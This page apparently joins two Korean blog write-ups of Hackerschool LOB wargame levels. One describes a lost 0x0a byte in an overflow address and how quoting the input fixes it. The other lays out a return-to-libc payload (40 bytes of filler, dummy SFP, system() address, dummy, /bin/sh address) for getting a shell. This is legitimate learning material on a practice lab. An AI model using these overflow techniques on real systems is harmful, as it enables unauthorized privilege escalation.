기존 프로그램이 아니므로 assassin을 찾을 수 없다는 문구와 함께 역시 이 방법이 아닌가 하면서 gdb를 솔직히 두번 껏다가 다시 켰습니다 -_-; 스택을 확인해보겠습니다


놉코드를 넣어준 지점이 보여서 일일히 눈으로 하나하나 비교해가면서 확인을 했습니다.. 그러던 와중에 

이럴수가 /x48/x9d/x0a/x40 에서 0a가 사라져있습니다 .
전 또 그 짜증나는 bash의 짓이라고 예상하고 명령어들을 쳐도 무용지물 이였습니다
소스는 함정이고 0a를 어떻게 살리느냐가 이 문제의 핵심인가 하고 생각했습니다 

구글링으로 리눅스 0a.. 어셈블리 0a를 검색하던도중에 헥사코드로 0x0a는

문자로 줄바꿈을 한다고 합니다 그래서 없어진걸까요 ? 

심볼릭링크를 시도햇으나 마지막에 null 주소를 줬기에 만들어지지 않습니다.

https://wikidocs.net/13

ftz - level3에서 느낌을 받았습니다 
개행문자 결국 c로 보면 \n이지요 이걸 근데 level3에서 햇던거처럼 문자열로 묶어서 전달하면 주소 그 자체 0a로 읽히는게 갑자기 생각나서 시도하고 성공했습니다
이렇게 푸는게 제대로 푸는건가 싶긴 하지만.. 권한은 얻었습니다!


'해커스쿨 lob' 카테고리의 다른 글

LOB zombie_assassin  (0) 2016.05.16
LOB assassin  (0) 2016.05.13
LOB bugbear  (0) 2016.05.12
LOB darkknight  (0) 2016.05.11
LOB golem  (0) 2016.05.10

이번 소스이다 RTL기법으로 풀어야지 stack betrayed you도 간단히 피해갈 수 있을거같다.
FTZ와는 달리 LOB는 버전이 좀 낮아서 더미값이 없는거로 생각을해서 

gdb를 일단 보지 않고 진행했다.

ftz에서는 주로 에그쉘을 이용한뒤에 더미값을 채우고 공격하는 식으로 진행을햇었다. 이번에는 /bin/sh주소와 시스템 함수 주소를 이용해서 진행을 해보겠다.

먼저 시스템함수 주소를 구해야한다.
여태까지 해왔던거처럼 권한이 걸려있는 기본 bugbear에 실행을 시키려고 하면
권한이 없다면서 실패하기때문에
새롭게 파일을 만들어서 진행을 해야한다 .

오직 시스템 출력을 하기위한 gdb분석이기 때문에 별 다른 실행이라던가 

브레이크 포인트를 안잡아줘도 괜찮습니다.

또한 objdump를 이용해서 찾아보실수도있습니다

그 후에 /bin/sh를 찾아야 합니다 

shell = 부분에 system 함수의 주소를 넣어주셔야 합니다 .

이렇게 되면 RTL을 위한 기본 준비가 다 끝났습니다.

처음 코드에서 버퍼 40을 넣을 수 있는걸 확인했으니
A*40을 해주고 sfp[dummy4] + system의주소 + dummy[4] + /bin/sh의주소

systemp주소 이전에 dummy4를 넣어주는 이유는 sfp를 채우고 ret를 시스템의 주소로 채우기 위함입니다!
근데 왜 /bin/sh의 주소를 채우기 이전에 dummy의 값을 4만큼 넣어줘야 하는것이냐면 systemp 함수는 ebp+8에 있는 명령어를 실행시키기 때문입니다

관련이 있는 소스같다고 짐작을 해봅니다...

 권한을 휙득했습니다!

'해커스쿨 lob' 카테고리의 다른 글

LOB assassin  (0) 2016.05.13
LOB giant  (0) 2016.05.12
LOB darkknight  (0) 2016.05.11
LOB golem  (0) 2016.05.10
LOB skeleton  (0) 2016.05.05

+ Recent posts